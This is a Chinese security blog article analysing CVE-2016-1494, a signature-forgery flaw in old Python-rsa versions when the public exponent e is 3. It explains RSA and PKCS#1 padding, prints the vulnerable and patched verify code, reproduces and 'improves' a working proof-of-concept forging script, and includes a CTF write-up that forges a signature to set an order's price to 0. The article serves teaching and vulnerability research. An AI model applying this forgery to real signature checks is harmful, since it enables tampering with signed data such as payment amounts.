神刀安全网

CVE-2016-1494 (python – rsa)漏洞详解

原创作者:uncleheart

0×01 概述

CVE-2016-1494 漏洞讲的是Python-rsa的签名伪造。在某些特定情况下,可以伪造python rsa库生成的签名信息。但是前提需要RSA的公钥指数e值很小,以下皆以e=3讨论。

数字签名 是使用数字证书的私钥对数据的摘要加密,以保证数据的完整性、真实性和不可抵赖。

数字签名常用于确保文件是否被修改、需要传递的信息是否被篡改。例如给word文档签名使得原文件内容不能被修改、或者在网络购物进行订单支付时确保传给服务器的订单价格信息(price)没有被修改。

0×02 简述RSA原理及如何进行加解密

简单的来说,RSA常见到这些值:p、q、n、e、d、公钥(n、e)、 私钥(n、d)、 其中n=p*q、m是密文、c是明文、e一般为65537,在python-rsa中默认也为65537。

RSA是一种非对称加密算法,公钥是公布出去的,私钥要妥善保存。加密时使用公钥,解密时使用私钥。

例如:

n=50429, e=65537, d=46793, p=239, q=211

Bob拥有公钥(50429, 65537)想要给拥有私钥(50429,46793)的Alice发消息。

如果发送的消息为c=37,则公钥加密过的密文

m = c^e mod n =25804

Alice收到m后使用私钥解密

c = m ^ d mod n = 37

故得到了解密后的内容37

其实也可以使用私钥加密信息发送出去,然后用公钥解密,只不过应用场景(数字签名)不同

如果需要加密的内容是字符串,一般是将其转换为byte再转换为int参与运算;加密完成之后的密文基本都有不可打印字符,一般使用base64编码来方便密文的保存及传递。

以下为使用rsa模块生成一对公私钥并进行加解密实例

(pubkey, privkey) = rsa.newkeys(1024)  #1024是指n的二进制长度 pub = pubkey.save_pkcs1() pubfile = open('public.pem','w+') #将公钥保存至文件(经过了base64编码) pubfile.write(pub) pubfile.close() pri = privkey.save_pkcs1() prifile = open('private.pem','w+') #将私钥保存至文件(经过了base64编码) prifile.write(pri) prifile.close()  # 从文件中加载公钥和密钥 message = 'hello' with open('public.pem') as publicfile:     p = publickfile.read()     pubkey = rsa.PublicKey.load_pkcs1(p) with open('private.pem') as privatefile:     p = privatefile.read()     privkey = rsa.PrivateKey.load_pkcs1(p)  # 用公钥加密、再用私钥解密 crypto = rsa.encrypt(message, pubkey) message = rsa.decrypt(crypto, privkey) print( message) # sign 用私钥签名认真、再用公钥验证签名  signature = rsa.sign(message, privkey, 'SHA-256') rsa.verify(message , signature, pubkey) 

0×03 简述RSA签名原理

RSA签名使用的方案为 PKCS#1 1.5 ,其基本原理为:

1) 先计算出需要签名的信息的HASH值(可使用MD5、SHA-1、SHA-256、SHA-384、SHA-512),然后再将编码为如下形式:

00 01 FF FF ... FF FF 00 ASN.1 HASH 

其中:

a)ASN.1包含这段hash值类型的信息,详见源码展示中HASH_ASN1,具体定义请参考PKCS#1 RSA 算法标准

b)FF FF … FF FF 为填充的信息,使得与n的位数相同

2)将这段编码使用私钥加密(即将其转换为int类型并做此运算)。

3) 转换为 byte 类型并前缀补零至与 n 位数相同。

4)签名结束,返回签名信息。

以下为 python rsa 模块中签名使用到的部分函数

HASH_ASN1 = {     'MD5': b('/x30/x20/x30/x0c/x06/x08/x2a/x86/x48/x86/xf7/x0d/x02/x05/x05/x00/x04/x10'),     'SHA-1': b('/x30/x21/x30/x09/x06/x05/x2b/x0e/x03/x02/x1a/x05/x00/x04/x14'),     'SHA-256': b('/x30/x31/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x01/x05/x00/x04/x20'),     'SHA-384': b('/x30/x41/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x02/x05/x00/x04/x30'),     'SHA-512': b('/x30/x51/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x03/x05/x00/x04/x40'), }  def sign(message, priv_key, hash):     """Signs the message with the private key.      Hashes the message, then signs the hash with the given key. This is known     as a "detached signature", because the message itself isn't altered.      :param message: the message to sign. Can be an 8-bit string or a file-like         object. If ``message`` has a ``read()`` method, it is assumed to be a         file-like object.     :param priv_key: the :py:class:`rsa.PrivateKey` to sign with     :param hash: the hash method used on the message. Use 'MD5', 'SHA-1',         'SHA-256', 'SHA-384' or 'SHA-512'.     :return: a message signature block.     :raise OverflowError: if the private key is too small to contain the         requested hash.      """      # Get the ASN1 code for this hash method     if hash not in HASH_ASN1:         raise ValueError('Invalid hash method: %s' % hash)     asn1code = HASH_ASN1[hash]      # Calculate the hash     hash = _hash(message, hash)      # Encrypt the hash with the private key     cleartext = asn1code + hash     keylength = common.byte_size(priv_key.n)     padded = _pad_for_signing(cleartext, keylength)      payload = transform.bytes2int(padded)     encrypted = priv_key.blinded_encrypt(payload)     block = transform.int2bytes(encrypted, keylength)      return block 

_pad_for_signing()函数功能为补齐”00 01 FF FF … FF FF”

以下为签名实例:

signature = rsa.sign(message, privkey, 'SHA-256') 

0×04 简述RSA签名校验原理

以下为校验过程:

1)将这段编码使用公钥解密(即将其转换为int类型并做此运算 )。

2)如果解密后数据的前两位为’00 01′则继续下一步,否则抛出校验失败异常。

3)从第三位开始寻找’00’,即跳过填充的’FF’字段。如果没有找到也抛出校验失败异常。

4)判断出签名信息中使用的hash类型

5)使用判断出的hash算法将原信息求出散列值,并与签名信息中hash(签名信息中hash由上一步得到)进行比较,如果匹配成功则返回True,否则抛出校验失败异常。

以下为旧版本RSA签名校验源码

def verify(message, signature, pub_key):      blocksize = common.byte_size(pub_key.n)     encrypted = transform.bytes2int(signature)     decrypted = core.decrypt_int(encrypted, pub_key.e, pub_key.n)     clearsig = transform.int2bytes(decrypted, blocksize)     # If we can't find the signature marker, verification failed.     if clearsig[0:2] != b('/x00/x01'):         raise VerificationError('Verification failed')     # Find the 00 separator between the padding and the payload     try:         sep_idx = clearsig.index(b('/x00'), 2)     except ValueError:         raise VerificationError('Verification failed')     # Get the hash and the hash method     (method_name, signature_hash) = _find_method_hash(clearsig[sep_idx+1:])     message_hash = _hash(message, method_name)     # Compare the real hash to the hash in the signature     if message_hash != signature_hash:           raise VerificationError('Verification failed')     return True  def _find_method_hash(method_hash):      for (hashname, asn1code) in HASH_ASN1.items():         if not method_hash.startswith(asn1code):             continue         return (hashname, method_hash[len(asn1code):])     raise VerificationError('Verification failed')  HASH_ASN1 = { 'MD5': b('/x30/x20/x30/x0c/x06/x08/x2a/x86/x48/x86/xf7/x0d/x02/x05/x05/x00/x04/x10'), 'SHA-1': b('/x30/x21/x30/x09/x06/x05/x2b/x0e/x03/x02/x1a/x05/x00/x04/x14'), 'SHA-256': b('/x30/x31/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x01/x05/x00/x04/x20'), 'SHA-384': b('/x30/x41/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x02/x05/x00/x04/x30'), 'SHA-512': b('/x30/x51/x30/x0d/x06/x09/x60/x86/x48/x01/x65/x03/x04/x02/x03/x05/x00/x04/x40'), } 

以下为RSA签名实例

rsa.verify('hello', signature, pubkey) 

0×05 分析RSA签名伪造原理

1、简述

在e取得足够小的情况下(e=3),n与e就完全没有关联( m ^ e mod n= m , m ^ e )。校验函数没有校验00 01 与00之间填充的FF是否为FF(可以是任意值),这意味我们可以轻松找到一个符合以下要求的值s通过校验。

s ^ e mod n = (00) 01 XX … XX00 ASN.1 HASH (XX 为任意值)

原作者博客

文章的翻译

2、伪造签名过程

伪造原理已经很清楚了,现在就开始讲解如何快速生成符合要求的s。

总的来说就是求出一个数的立方满足上文要求,思考便知需要从右往左一个一个求解,下面给出此漏洞发现者给出的方法( the pen-and-paper column operation ):

我们以求立方值后缀为1010101101的数为例

        9876543210  顺序 s:      0000000001 s^3:    0000000001 target  1010101101  0-1 满足要求,2 不满足要求  s:      0000000101 s^3:    0001111101 target  1010101101  0-3 满足要求,4 不满足要求  s:      0000010101 s^3: ...0000101101   target  1010101101  0-6 满足要求,7 不满足要求  s:      0010010101 s^3: ...0110101101   target  1010101101  0-7 满足要求,8 不满足要求  s:      0110010101 s^3: ...0010101101   target  1010101101  0-8 满足要求,9 不满足要求  s:      1110010101 s^3: ...1010101101   target  1010101101  全部满足要求  1110010101 ^ 3 = 101101111101011111101010101101                                        ^^^^^^^^ 

找到符合要求的后缀后就容易了,只要再加上前缀开方之后再稍微修改一下就行,在这里必须要注意到一个问题:00 01 与00 之间不能有00,不然就会出错。这个问题也容易解决,只要不断地取随机数直至符合要求即可。

3、原作者的源码

原作者github

In [1]:

import hashlib import rsa import binascii import os from gmpy2 import mpz, iroot, powmod, mul, t_mod 

In [2]:

def to_bytes(n):     """ Return a bytes representation of a int """     return n.to_bytes((n.bit_length() // 8) + 1, byteorder='big')  def from_bytes(b):     """ Makes a int from a bytestring """     return int.from_bytes(b, byteorder='big')  def get_bit(n, b):     """ Returns the b-th rightmost bit of n """     return ((1 << b) & n) >> b  def set_bit(n, b, x):     """ Returns n with the b-th rightmost bit set to x """     if x == 0: return ~(1 << b) & n     if x == 1: return (1 << b) | n  def cube_root(n):     return int(iroot(mpz(n), 3)[0]) 

In [3]:

message = "Ciao, mamma!!".encode("ASCII") message_hash = hashlib.sha256(message).digest() 

In [4]:

ASN1_blob = rsa.pkcs1.HASH_ASN1['SHA-256'] suffix = b'/x00' + ASN1_blob + message_hash 

In [5]:

binascii.hexlify(suffix) 

Out[5]:

b'003031300d060960864801650304020105000420a39ddaae64be645e43d483713135d6fad7c25d2956abab8d9a3dfdcd2b1b821b' 

In [6]:

len(suffix) 

Out[6]:

In [7]:

suffix[-1]&0x01 == 1 # easy suffix computation works only with odd target 

Out[7]:

True 

In [8]:

sig_suffix = 1 for b in range(len(suffix)*8):     if get_bit(sig_suffix ** 3, b) != get_bit(from_bytes(suffix), b):         sig_suffix = set_bit(sig_suffix, b, 1) 

In [9]:

to_bytes(sig_suffix ** 3).endswith(suffix) # BOOM 

Out[9]:

True 

In [10]:

len(to_bytes(sig_suffix ** 3)) * 8 

Out[10]:

In [11]:

while True:     prefix = b'/x00/x01' + os.urandom(2048//8 - 2)     sig_prefix = to_bytes(cube_root(from_bytes(prefix)))[:-len(suffix)] + b'/x00' * len(suffix)     sig = sig_prefix[:-len(suffix)] + to_bytes(sig_suffix)     if b'/x00' not in to_bytes(from_bytes(sig) ** 3)[:-len(suffix)]: break 

In [12]:

to_bytes(from_bytes(sig) ** 3).endswith(suffix) 

Out[12]:

True 

In [13]:

to_bytes(from_bytes(sig) ** 3).startswith(b'/x01') 

Out[13]:

True 

In [14]:

len(to_bytes(from_bytes(sig) ** 3)) == 2048//8 - 1 

Out[14]:

True 

In [15]:

b'/x00' not in to_bytes(from_bytes(sig) ** 3)[:-len(suffix)] 

Out[15]:

True 

In [16]:

binascii.hexlify(sig) 

Out[16]:

b'2b82e655c7c20ca36597c05904639fa53c476beee7822e1e03eb5d3c5128bc947c7dc53e33e453b32c69e3caf4eb3e472ff0dfc29d65126b4f1eddd4a64bbd63ce192752903fee1fff985a48f1048993f91732a603' 

In [17]:

binascii.hexlify(to_bytes(from_bytes(sig) ** 3)) 

Out[17]:

b'0141c9316c11defc55ef833ac67f78eb3ac191f5a69da2ea1d2e5f8e718fdc495cc68eb6576cce7d81e42eb717f37a122b709bbe476f5750df909fec2c3c1316787a3c7327a9ed9930ebbce8f5eb9f5155dc73d2f776fd085ea3cd85da8c2c01e5c79ae07cce8e615419d5e718dd4d34ce8cfccc7f6e167c756ad99cc13e3145151c69c76c2d14a5bb40a1bd9f6e095739f9963c042e76f4027ca49757e635b508f4efae58bcb9cc537e8237bb9d1ef35440b72cfc682dee97e2e8ed3e22a0c17ee80e78054c36a76f65e9003031300d060960864801650304020105000420a39ddaae64be645e43d483713135d6fad7c25d2956abab8d9a3dfdcd2b1b821b' 

In [18]:

key = rsa.newkeys(2048)[0] key.e = 3 

In [19]:

rsa.verify(message, sig, key) 

Out[19]:

True 

4、原作者源代码存在的问题及改进

1)当使用to_bytes()函数转换时,可能会出现问题。

def to_bytes(n):     """ Return a bytesrepresentation of a int """     return n.to_bytes((n.bit_length() // 8) + 1, byteorder='big')  n=167428188024748803454704773610969269337701819949353040345221678094583801170680853155544556871387140077734700301044759114912483byte_n=to_bytes(n) print("to_bytes(n):/n",''.join( [ "%02X" % x for x in byte_n] ).strip()) 

运行结果如下:

CVE-2016-1494 (python – rsa)漏洞详解

得到的为

00FD461ACF56F0A7257950AD75E84A9561C35D916E91FA964D87159489987AB25F3DBF222B44F9A62C7E6554648E94F6DC19B992E3

但实际应该为

FD461ACF56F0A7257950AD75E84A9561C35D916E91FA964D87159489987AB25F3DBF222B44F9A62C7E6554648E94F6DC19B992E3

会在转换的前面多加上一个 00 从而导致后续过程失败。

int.to_bytes(length, byteorder, *, signed=False)将整数转换为字节数组表示,参数说明如下:

length:数组的长度,如果整数转换出的字节数组长度超过了该长度,则产生OverflowError;

byteorder:字节序;值为”big”或者”little”,”big”表示最有意义的字节放在字节数组的开头,”little”表示最有意义的字节放在字节数组的结尾。sys.byteorder保存了主机系统的字节序;

signed:确定是否使用补码来表示整数,如果值为false,并且是负数,则产生OverflowError。默认值False。

如果使用“(n.bit_length()// 8) + 1”计算转出的字节数组长度,当bit_length()恰好为8的倍数时,则会比正常的字节数组长度多1,导致在转换出的字节数组前面多了00。根据bit_length()返回值特性,故修改为“((n.bit_length() – 1 ) //8) + 1”。

2) 在原作者给出的求立方根方法中,需要有一个前提条件:待签名信息的二进制最后一位需要为1,且求根方法极易失败。

故需要优化方法:

1-15的立方值二进制如下

0001 1 ->10001

0010 2 ->81000

00113 ->271011

01004 ->640000

01015 ->1251101

01106 ->2161000

01117 ->3430111

10008 ->5120000

10019 ->7291001

101010 ->10001000

101111 ->13310011

110012 ->17280000

110113 ->21970101

111014 ->27441000

111115 ->33751111

求根方法是从右到左,关注2,、6、10、14的二进制及立方的二进制,就可以发现有两种合适的构造方法(规律普适):

a)首先设置当前位为0或者1都可以满足条件,则设置当前位为1;如果只有1能满足条件则设置为1;如果只有0能满足则设置为0,如果都不能满足则求根失败。

b)如果设置当前位为 1 不能满足条件,则判断设置为 0 能不能满足条件,如果还不能满足条件则求根失败。

注意:

由上表易知,并不是所有值都可以求出立方根,如果一个待签名信息不能找到合适的立方根,可以尝试修改签名信息中的一般都存在的随机字符串部分。同时,需要求立方根的值也不是直接的签名信息,是散列算法计算之后的值,所以只需要一点点变动就会造成巨大变化。

3) 全部修改完的代码如下

代码修改了to_bytes()函数、然后先后使用了两种优先级方法求得立方根。

import hashlib import rsa import binascii import os import struct from rsa import transform from gmpy2 import mpz, iroot, powmod, mul, t_mod  def to_bytes(n):     """ Return a bytes representation of a int """     return n.to_bytes(((n.bit_length()-1) // 8) + 1, byteorder='big')  def from_bytes(b):     """ Makes a int from a bytestring """     return int.from_bytes(b, byteorder='big')  def get_bit(n, b):     """ Returns the b-th rightmost bit of n """     aaa=''.join( [ "%02X" % x for x in (to_bytes(n)) ] ).strip()     t=((1<< b) & n) >> b     aaa=''.join( [ "%02X" % x for x in (to_bytes(n)) ] ).strip()     return ((1 << b) & n) >> b  def set_bit(n, b, x):     """ Returns n with the b-th rightmost bit set to x """     if x == 0: return ~(1 << b) & n     if x == 1: return (1 << b) | n  def cube_root(n):     return int(iroot(mpz(n), 3)[0])  message = "Ciao, mamma!!".encode("ASCII") message_hash = hashlib.sha256(message).digest() print("message_hash:",''.join( [ "%02X" % x for x in message_hash ] ).strip()) ASN1_blob = rsa.pkcs1.HASH_ASN1['SHA-256'] suffix = b'/x00' + ASN1_blob + message_hash sig_suffix=0  for b in range(len(suffix)*8):     aaa=''.join( [ "%02X" % x for x in (to_bytes(sig_suffix)) ] ).strip()     if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):         sig_suffix= set_bit(sig_suffix, b, 1)         if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):             continue         else:             sig_suffix= set_bit(sig_suffix, b, 0)     else:         sig_suffix= set_bit(sig_suffix, b, 1)         if get_bit(sig_suffix ** 3, b) ==get_bit(from_bytes(suffix), b):             continue         else:             print("找不到立方根,使用第二种优先级")             for bb in range(len(suffix)*8):                 sig_suffix= set_bit(sig_suffix, bb, 1)                 if get_bit(sig_suffix ** 3, bb) !=get_bit(from_bytes(suffix), bb):                     sig_suffix= set_bit(sig_suffix, bb, 0)                     if get_bit(sig_suffix ** 3, bb) !=get_bit(from_bytes(suffix), bb):                         print("找不到立方根")                         os.system("pause")                         exit()             break  while True:     prefix= b'/x00/x01' + os.urandom(2048//8 - 2)     sig_prefix= to_bytes(cube_root(from_bytes(prefix)))[:-len(suffix)] + b'/x00' * len(suffix)     sig= sig_prefix[:-len(suffix)] + to_bytes(sig_suffix)     temp=to_bytes(from_bytes(sig)** 3)     if b'/x00' not in to_bytes(from_bytes(sig) **3)[:-len(suffix)]: break  #key = rsa.newkeys(2048)[0] #因为 rsa.newkeys(2048)速度很慢,在测试中为了加速就提前保存好了key直接读取。 with open("g:/key.pem") as publickfile:     p=publickfile.read()     key=rsa.PublicKey.load_pkcs1(p) key.e = 3 print(sig)  rsa.verify(message, sig, key) 

测试结果:

测试字符串 原作者源代码 优化过的代码
“Ciao, mamma!!” 成功 成功
“Ciao, mamma!!11111″ 失败 成功

0×06 RSA签名伪造实例:BCTF2016_zerodaystore_writeup

以下就前不久BCTF 2016 中 zerodaystore 题目开始讲解:

这是大牛们给出的writeup

大家看了writeup之后貌似会觉得此题与RSA签名伪造没什么关系,所以我就讲解在此题中运用该cve漏洞解题。 (由于比赛结束后官方没有给出关于该题的任何信息,暂且还不知道利用 python base64 解码特性是不是出题者的愿意所在)

1、

如果大家看了writeup,就很容易理解此题的思路,我这里大概说一下。查看apk反编译的代码和给的server。py源码可以清楚了解到,首先app本地判断是否有充足的余额,如果有的话就给服务器发出购买请求,收到服务器回复的请求后再跳转到支付界面。在服务端,只有当通过支付时url解析出price小于或等于0,才能返回flag,不然就返回支付失败。所以解法就是,修改apk使得能发出购买请求,并且要通过服务器端的校验。由于此题重点不在Android逆向,我就省略了反编译及修改的过程。

CVE-2016-1494 (python – rsa)漏洞详解

我是直接将50000改成了0

2、

然而,我这里的思路完全不同,大牛们的解决办法是利用python的base64解码特性直接在sign的后面带一个 !&price=-1 就轻松解决问题,而我当时不知道怎么回事就找到了 Python-rsa中的签名伪造 ,这篇是翻译了 Filippo Valsorda的文章 ,在理解了作者的思路后,正准备写代码时发现了良心的作者给出了 github地址

3、

由作者给出的代码求出了伪造的签名并拼接了一下得到

orderID=16172bc1574d783328181685&price=0&productID=0&timestamp=1458467480268&signer=RSA&hash=sha256&nonce=ec784c46a881d4b9&sign=L4jFglorbF0ytTF6VvbV+Plw8mGEWtlPMnvn0RrzlMDZAzpno8jOQqvgWklmUciEzKmkaaabYTAJ4jWJFxLEkpzILgVrl6misjI+BCkVkhL51oX1lQ==

生成的签名信息可以与任意key通过校验(注意这里的前提条件 e = 3),于是返回了结果:

CVE-2016-1494 (python – rsa)漏洞详解

0×07 多几句废话

1、

如果大家没有旧版本的python-rsa可供测试,可以将pkcs1.py文件中verify()与_find_method_hash()函数修改成上文中展示的代码即可(但记得要备份呀)

如下为更新后的校验函数源代码,直接使用签名信息中hash类型求出散列值再拼接ASN.1,然后直接与解密后的信息进行比较,已经没有了寻找’00‘的步骤。

def verify(message, signature, pub_key):     """Verifies that the signature matches the message.      The hash method is detected automatically from the signature.      :param message: the signed message. Can be an 8-bit string or a file-like         object. If ``message`` has a ``read()`` method, it is assumed to be a         file-like object.     :param signature: the signature block, as created with :py:func:`rsa.sign`.     :param pub_key: the :py:class:`rsa.PublicKey` of the person signing the message.     :raise VerificationError: when the signature doesn't match the message.      """      keylength = common.byte_size(pub_key.n)     encrypted = transform.bytes2int(signature)     decrypted = core.decrypt_int(encrypted, pub_key.e, pub_key.n)     clearsig = transform.int2bytes(decrypted, keylength)      # Get the hash method     method_name = _find_method_hash(clearsig)     message_hash = _hash(message, method_name)      # Reconstruct the expected padded hash     cleartext = HASH_ASN1[method_name] + message_hash     expected = _pad_for_signing(cleartext, keylength)      # Compare with the signed one     if expected != clearsig:         raise VerificationError('Verification failed')      return True 

2、

在这里我说明一下, 原文作者的文章 出现了一个错误:

CVE-2016-1494 (python – rsa)漏洞详解

CVE-2016-1494 (python – rsa)漏洞详解

根据后文构造签名的思路及方法,我认为这里的的GARBAGE的位置不正确,应该是这样的:

00 01 GARBAGE 00 ASN.1 HASH 

而且验证函数缺少的是“对00 01 与00之间填充的是否都是FF的 检查” ,而不是“对hash值得末尾有没有补齐的检查”:

    try:         sep_idx = clearsig.index(b('/x00'), 2)     except ValueError:         raise VerificationError('Verification failed') 

3、

以上的签名伪造都是基于e = 3, 原文作者也提到了

For the record, youtube-dl users were never at risk because I had hardcoded a public key with e=65537 .

说实话我并没有找到一种合适的方法快速求出当 e = 65537 时的根,但理论上的确是要比爆破n的质数来得容易,毕竟00 01 与 00 之间的值不唯一,应该可以找到一个合适s使得

s ^ e mod n =  00 01 XX XX ... XX XX 00 ASN.1 HASH 

而不用

s ^ e mod n =  00 01 FF FF ... FF FF 00 ASN.1 HASH 

参考来源:东二门陈冠希、 filippo.iogithub ,作者: uncleheart ,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » CVE-2016-1494 (python – rsa)漏洞详解

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮